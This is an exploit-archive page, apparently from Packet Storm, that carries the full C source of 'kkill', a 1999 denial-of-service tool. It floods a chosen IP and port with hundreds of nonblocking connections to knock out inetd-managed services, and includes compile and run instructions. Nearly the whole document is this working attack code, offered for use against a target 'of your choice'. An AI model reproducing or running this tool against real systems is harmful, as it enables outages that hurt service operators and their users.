what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

kkill.c

kkill.c
Posted Aug 17, 1999
Authored by KByte

inetd-based exploit tool that opens hundreds of connections to a remote host in a matter of seconds, killing the service(s) of your choice.

tags | exploit, remote
SHA-256 | b0c3b72270898e956ac7fafff44917bfbbbf9c8744b08e47a571feb35beba93e

kkill.c

Change Mirror Download
/* By kbyte@rwx.ml.org / kbyte@biogate.com  */
/* Made in about 15 minutes . It will close almost any door of inetd */
/* Compile : cc -o kkill kkill.c and run kkill IP PORT */
/* Based on high level tcp functions for linux by jjohnson@eagle.ptialaska.net
and presonic@undernet.irc */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/time.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <errno.h>
#include <fcntl.h>

#define SOCKET_ERR -1
#define CONNECT_ERR -2
#define NONBLOCK_ERR -3
#define LOOKUP_ERR "ERROR"
#define TIMEOUT 60
#define BLOCKING 0
#define NONBLOCKING 1

int count = 0;

int Connect(char *input,int port,int is_nonblock) {
int sockfd, n;
int sock_flags;
struct sockaddr_in addr;

addr.sin_port = htons(port);
addr.sin_family = AF_INET;
inet_aton(input,&addr.sin_addr);
if((sockfd = socket(AF_INET,SOCK_STREAM,0)) < 0)
return SOCKET_ERR;
if(is_nonblock == NONBLOCKING) {
if(fcntl(sockfd,F_GETFL,sock_flags) < 0)
return NONBLOCK_ERR;
if(fcntl(sockfd,F_SETFL,sock_flags | O_NONBLOCK) < 0)
return NONBLOCK_ERR;
}
if(connect(sockfd,(struct sockaddr *) &addr, sizeof(addr)) < 0)
{
if(errno == EINPROGRESS) {
return sockfd; /* its non blocking socket */
} else {
return CONNECT_ERR;
}}
return sockfd;

}
main(int argc, char *argv[])
{
int i, sockfd[256], maxsockfd=0, sockopt, n;
int first = 0;
char ip[30];
fd_set wset;
socklen_t socklen;
struct timeval time;

system("clear");
printf("\n KKill by kbyte@rwx.ml.org \n");
if(argc != 3)
{
printf("usage: %s ip port \n",argv[0]);
exit(-1);
}
printf("\n Killing %s on port %s \n\n", argv[1], argv[2]);
close(STDIN_FILENO);
close(STDERR_FILENO);
FD_ZERO(&wset);
for(i=1 ; i != 256 ; ++i)
{
if((sockfd[i] = Connect(argv[1],atoi(argv[2]),1)) < 0)
{
printf("Failed calling connect() for sockfd[%d]!\n",i);
continue;
}
}
while(1)
{
for(i = 1 ; i != 256 ; ++i)
{
if(getsockopt(sockfd[i],SOL_SOCKET,SO_ERROR,&sockopt,&socklen) == 0) {
FD_SET(sockfd[i], &wset);
if(sockfd[i] > maxsockfd) maxsockfd = sockfd[i]; }
}
time.tv_sec = TIMEOUT;
if(sockopt==111) {
if(first==0) printf("Port Closed. Try another one\n");
if(first==1) printf("Bum! Port closed!!!\n");
exit(0);
}
first = 1;
if(select(maxsockfd + 1,NULL,&wset,NULL,&time) == 0)
{
printf("Completed.\n");
exit(-1);
}
{
if(FD_ISSET(sockfd[i],&wset))
{
/* remove the sockfd from wset */
FD_CLR(sockfd[i],&wset);
socklen = 4; /* sizeof(int) */
sockopt = -1;
getsockopt(sockfd[i],SOL_SOCKET,SO_ERROR,&sockopt,&socklen);

close(sockfd[i]);
if(sockopt == ECONNREFUSED) {
printf("Port Closed. Try another port\n");
exit(-1);
}
if(sockopt == ENETUNREACH) {
printf("Host unreachable. Try later\n");
exit(-1); }
if(sockopt == EHOSTUNREACH) {
printf("Host unreachable. Try later\n");
exit(-1); }

}
}
}
}

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close